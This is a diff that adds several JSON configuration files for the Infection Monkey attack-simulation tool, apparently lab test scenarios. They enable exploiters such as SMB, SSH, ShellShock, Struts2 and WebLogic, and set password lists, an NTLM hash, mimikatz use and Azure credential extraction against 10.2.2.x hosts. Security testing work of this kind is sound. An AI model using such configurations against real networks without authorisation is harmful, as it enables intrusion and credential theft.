||||
"subnet_scan_list": [
|
||||
"10.2.2.38"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"10.2.2.251:5000"
|
||||
],
|
||||
"current_server": "10.2.2.251:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"ShellShockExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
]
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 1,
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"PBA_linux_filename": "",
|
||||
"PBA_windows_filename": "",
|
||||
"custom_PBA_linux_cmd": "",
|
||||
"custom_PBA_windows_cmd": "",
|
||||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": []
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,182 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"Password1!",
|
||||
"Ivrrw5zEzs"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"Administrator",
|
||||
"m0nk3y",
|
||||
"user"
|
||||
]
|
||||
},
|
||||
"general": {
|
||||
"should_exploit": true
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 2,
|
||||
"local_network_scan": false,
|
||||
"subnet_scan_list": [
|
||||
"10.2.2.44",
|
||||
"10.2.2.15"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"10.2.2.251:5000"
|
||||
],
|
||||
"current_server": "10.2.2.251:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"SmbExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
]
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 1,
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"PBA_linux_filename": "",
|
||||
"PBA_windows_filename": "",
|
||||
"custom_PBA_linux_cmd": "",
|
||||
"custom_PBA_windows_cmd": "",
|
||||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": []
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,180 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"Password1!"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"Administrator",
|
||||
"m0nk3y",
|
||||
"user"
|
||||
]
|
||||
},
|
||||
"general": {
|
||||
"should_exploit": true
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 2,
|
||||
"local_network_scan": false,
|
||||
"subnet_scan_list": [
|
||||
"10.2.2.15"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"10.2.2.251:5000"
|
||||
],
|
||||
"current_server": "10.2.2.251:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"SmbExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
]
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [ "f7e457346f7743daece17258667c936d" ],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 1,
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"PBA_linux_filename": "",
|
||||
"PBA_windows_filename": "",
|
||||
"custom_PBA_linux_cmd": "",
|
||||
"custom_PBA_windows_cmd": "",
|
||||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": []
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,192 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"Password1!",
|
||||
"12345678",
|
||||
"^NgDvY59~8"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"Administrator",
|
||||
"m0nk3y",
|
||||
"user"
|
||||
]
|
||||
},
|
||||
"general": {
|
||||
"should_exploit": true
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 2,
|
||||
"local_network_scan": false,
|
||||
"subnet_scan_list": [
|
||||
"10.2.2.41",
|
||||
"10.2.2.42"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"10.2.2.251:5000"
|
||||
],
|
||||
"current_server": "10.2.2.251:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"SSHExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter",
|
||||
"VSFTPDExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
]
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 1,
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"PBA_linux_filename": "",
|
||||
"PBA_windows_filename": "",
|
||||
"custom_PBA_linux_cmd": "",
|
||||
"custom_PBA_windows_cmd": "",
|
||||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": []
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,193 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"Password1!",
|
||||
"1234",
|
||||
"password",
|
||||
"12345678"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"Administrator",
|
||||
"root",
|
||||
"user"
|
||||
]
|
||||
},
|
||||
"general": {
|
||||
"should_exploit": true
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 2,
|
||||
"local_network_scan": false,
|
||||
"subnet_scan_list": [
|
||||
"10.2.2.9",
|
||||
"10.2.2.11"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"10.2.2.251:5000"
|
||||
],
|
||||
"current_server": "10.2.2.251:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"SSHExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter",
|
||||
"VSFTPDExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
]
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 1,
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
|
||||
"monkey_log_path_linux": "/tmp/user-1563",
|
||||
"monkey_log_path_windows": "%temp%\\~df1563.tmp",
|
||||
"send_log_to_server": true
|
||||
}
|
||||
},
|
||||
"monkey": {
|
||||
"behaviour": {
|
||||
"PBA_linux_filename": "",
|
||||
"PBA_windows_filename": "",
|
||||
"custom_PBA_linux_cmd": "",
|
||||
"custom_PBA_windows_cmd": "",
|
||||
"self_delete_in_cleanup": true,
|
||||
"serialize_config": false,
|
||||
"use_file_logging": true
|
||||
},
|
||||
"general": {
|
||||
"alive": true,
|
||||
"post_breach_actions": []
|
||||
},
|
||||
"life_cycle": {
|
||||
"max_iterations": 1,
|
||||
"retry_failed_explotation": true,
|
||||
"timeout_between_iterations": 100,
|
||||
"victims_max_exploit": 7,
|
||||
"victims_max_find": 30
|
||||
},
|
||||
"system_info": {
|
||||
"collect_system_info": true,
|
||||
"extract_azure_creds": true,
|
||||
"should_use_mimikatz": true
|
||||
}
|
||||
},
|
||||
"network": {
|
||||
"ping_scanner": {
|
||||
"ping_scan_timeout": 1000
|
||||
},
|
||||
"tcp_scanner": {
|
||||
"HTTP_PORTS": [
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
7001
|
||||
],
|
||||
"tcp_scan_get_banner": true,
|
||||
"tcp_scan_interval": 0,
|
||||
"tcp_scan_timeout": 3000,
|
||||
"tcp_target_ports": [
|
||||
22,
|
||||
2222,
|
||||
445,
|
||||
135,
|
||||
3389,
|
||||
80,
|
||||
8080,
|
||||
443,
|
||||
8008,
|
||||
3306,
|
||||
9200,
|
||||
7001
|
||||
]
|
||||
}
|
||||
}
|
||||
}
|
|
@ -0,0 +1,194 @@
|
|||
{
|
||||
"basic": {
|
||||
"credentials": {
|
||||
"exploit_password_list": [
|
||||
"Password1!",
|
||||
"3Q=(Ge(+&w]*",
|
||||
"`))jU7L(w}",
|
||||
"12345678"
|
||||
],
|
||||
"exploit_user_list": [
|
||||
"Administrator",
|
||||
"m0nk3y",
|
||||
"user"
|
||||
]
|
||||
},
|
||||
"general": {
|
||||
"should_exploit": true
|
||||
}
|
||||
},
|
||||
"basic_network": {
|
||||
"general": {
|
||||
"blocked_ips": [],
|
||||
"depth": 3,
|
||||
"local_network_scan": false,
|
||||
"subnet_scan_list": [
|
||||
"10.2.2.32",
|
||||
"10.2.1.10",
|
||||
"10.2.0.11"
|
||||
]
|
||||
},
|
||||
"network_analysis": {
|
||||
"inaccessible_subnets": []
|
||||
}
|
||||
},
|
||||
"cnc": {
|
||||
"servers": {
|
||||
"command_servers": [
|
||||
"10.2.2.251:5000"
|
||||
],
|
||||
"current_server": "10.2.2.251:5000",
|
||||
"internet_services": [
|
||||
"monkey.guardicore.com",
|
||||
"www.google.com"
|
||||
]
|
||||
}
|
||||
},
|
||||
"exploits": {
|
||||
"general": {
|
||||
"exploiter_classes": [
|
||||
"SmbExploiter",
|
||||
"WmiExploiter",
|
||||
"SSHExploiter",
|
||||
"ShellShockExploiter",
|
||||
"SambaCryExploiter",
|
||||
"ElasticGroovyExploiter",
|
||||
"Struts2Exploiter",
|
||||
"WebLogicExploiter",
|
||||
"HadoopExploiter",
|
||||
"VSFTPDExploiter"
|
||||
],
|
||||
"skip_exploit_if_file_exist": false
|
||||
},
|
||||
"ms08_067": {
|
||||
"ms08_067_exploit_attempts": 5,
|
||||
"remote_user_pass": "Password1!",
|
||||
"user_to_add": "Monkey_IUSER_SUPPORT"
|
||||
},
|
||||
"rdp_grinder": {
|
||||
"rdp_use_vbs_download": true
|
||||
},
|
||||
"sambacry": {
|
||||
"sambacry_folder_paths_to_guess": [
|
||||
"/",
|
||||
"/mnt",
|
||||
"/tmp",
|
||||
"/storage",
|
||||
"/export",
|
||||
"/share",
|
||||
"/shares",
|
||||
"/home"
|
||||
],
|
||||
"sambacry_shares_not_to_check": [
|
||||
"IPC$",
|
||||
"print$"
|
||||
],
|
||||
"sambacry_trigger_timeout": 5
|
||||
},
|
||||
"smb_service": {
|
||||
"smb_download_timeout": 300,
|
||||
"smb_service_name": "InfectionMonkey"
|
||||
}
|
||||
},
|
||||
"internal": {
|
||||
"classes": {
|
||||
"finger_classes": [
|
||||
"SMBFinger",
|
||||
"SSHFinger",
|
||||
"PingScanner",
|
||||
"HTTPFinger",
|
||||
"MySQLFinger",
|
||||
"MSSQLFinger",
|
||||
"ElasticFinger"
|
||||
]
|
||||
},
|
||||
"dropper": {
|
||||
"dropper_date_reference_path_linux": "/bin/sh",
|
||||
"dropper_date_reference_path_windows": "%windir%\\system32\\kernel32.dll",
|
||||
"dropper_set_date": true,
|
||||
"dropper_target_path_linux": "/tmp/monkey",
|
||||
"dropper_target_path_win_32": "C:\\Windows\\temp\\monkey32.exe",
|
||||
"dropper_target_path_win_64": "C:\\Windows\\temp\\monkey64.exe",
|
||||
"dropper_try_move_first": true
|
||||
},
|
||||
"exploits": {
|
||||
"exploit_lm_hash_list": [],
|
||||
"exploit_ntlm_hash_list": [],
|
||||
"exploit_ssh_keys": []
|
||||
},
|
||||
"general": {
|
||||
"keep_tunnel_open_time": 60,
|
||||
"monkey_dir_name": "monkey_dir",
|
||||
"singleton_mutex_name": "{2384ec59-0df8-4ab9-918c-843740924a28}"
|
||||
},
|
||||
"kill_file": {
|
||||
"kill_file_path_linux": "/var/run/monkey.not",
|
||||
"kill_file_path_windows": "%windir%\\monkey.not"
|
||||
},
|
||||
"logging": {
|
||||
"dropper_log_path_linux": "/tmp/user-1562",
|
||||
"dropper_log_path_windows": "%temp%\\~df1562.tmp",
